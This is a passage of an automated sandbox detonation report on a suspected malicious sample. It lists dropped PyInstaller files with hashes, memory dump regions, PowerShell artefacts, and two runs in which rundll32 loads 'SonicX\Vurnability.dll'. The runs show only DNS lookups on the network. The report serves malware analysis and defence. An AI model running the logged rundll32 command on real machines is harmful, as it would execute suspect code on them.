SHA512 870ce3c897f45dab5e0a8782cd42d7a085938a5d268e0d83d3c436f1f7f0a4679a369ea5e0cc4488eb27669b56ad4309b0c264bfc2e599d9836406814c79fd0e

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_queue.pyd

MD5 d69381b02618505b6d2fdafb84a2686d
SHA1 7f28533d9c6141e72d17006e008e8ee5396f4940
SHA256 007d190306e9bf4a3ed0fbd3f46c45a716210f8b3e220f76e17d6ccf8631c00c
SHA512 72e4f5734361ed428fb2c308f4c8fecae20817ee81921939736b01836627a9edafdce0e121d00d9f5ede438717384e90ee8fa6d6f0bf92a2c17985bb016397ec

C:\Users\Admin\AppData\Local\Temp\_MEI41122\select.pyd

MD5 f7b1a9d9a01db7ccfe3e6aff5010af01
SHA1 45af84436b9c2aa6bb24b583b2b4915679ae3f3f
SHA256 ba793d571893b08eab1b8a250a4b7b91cb947bc7da7e44cc6aa719c5148f0cbd
SHA512 cfa67c55d55df0ff5b0aab2ea594a9210a7bfc67f11550733cf655cd9eaf6fdbe48e69c229edafd58931d5c61ad9fbf30f77f4d4e19d0a61992110627e0874c1

C:\Users\Admin\AppData\Local\Temp\_MEI41122\libssl-1_1.dll

MD5 7f77a090cb42609f2efc55ddc1ee8fd5
SHA1 ef5a128605654350a5bd17232120253194ad4c71
SHA256 47b63a9370289d2544abc5a479bfb27d707ae7db4f3f7b6cc1a8c8f57fd0cf1f
SHA512 a8a06a1303e76c76d1f06b689e163ba80c1a8137adac80fab0d5c1c6072a69d506e0360d8b44315ef1d88cbd0c9ac95c94d001fad5bc40727f1070734bbbbe63

C:\Users\Admin\AppData\Local\Temp\_MEI41122\libffi-7.dll

MD5 6f818913fafe8e4df7fedc46131f201f
SHA1 bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA512 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

memory/4476-54-0x00007FFD093B0000-0x00007FFD093DC000-memory.dmp

memory/4476-56-0x00007FFD092D0000-0x00007FFD092E8000-memory.dmp

memory/4476-58-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmp

memory/4476-60-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmp

memory/4476-62-0x00007FFD09180000-0x00007FFD09199000-memory.dmp

memory/4476-64-0x00007FFD0DBF0000-0x00007FFD0DBFD000-memory.dmp

memory/4476-66-0x00007FFD08980000-0x00007FFD089AE000-memory.dmp

memory/4476-70-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

memory/4476-72-0x0000017AE6A00000-0x0000017AE6D77000-memory.dmp

memory/4476-74-0x00007FFD09760000-0x00007FFD09784000-memory.dmp

memory/4476-73-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmp

memory/4476-71-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmp

memory/4476-76-0x00007FFD09160000-0x00007FFD09175000-memory.dmp

memory/4476-78-0x00007FFD09710000-0x00007FFD0971D000-memory.dmp

memory/4476-80-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mytlij21.fjb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2152-86-0x000002A72E880000-0x000002A72E8A2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/4476-106-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmp

memory/4476-107-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmp

memory/4476-108-0x00007FFD09180000-0x00007FFD09199000-memory.dmp

memory/4476-109-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

memory/4476-123-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmp

memory/4476-120-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmp

memory/4476-119-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmp

memory/4476-118-0x00007FFD08980000-0x00007FFD089AE000-memory.dmp

memory/4476-110-0x00007FFD09760000-0x00007FFD09784000-memory.dmp

memory/4476-124-0x0000017AE6A00000-0x0000017AE6D77000-memory.dmp

memory/4476-125-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

memory/4476-153-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

memory/4476-168-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win7-20240419-en

Max time kernel

118s

Max time network

119s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win10v2004-20240508-en

Max time kernel

66s

Max time network

54s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 g.bing.com udp

Files

N/A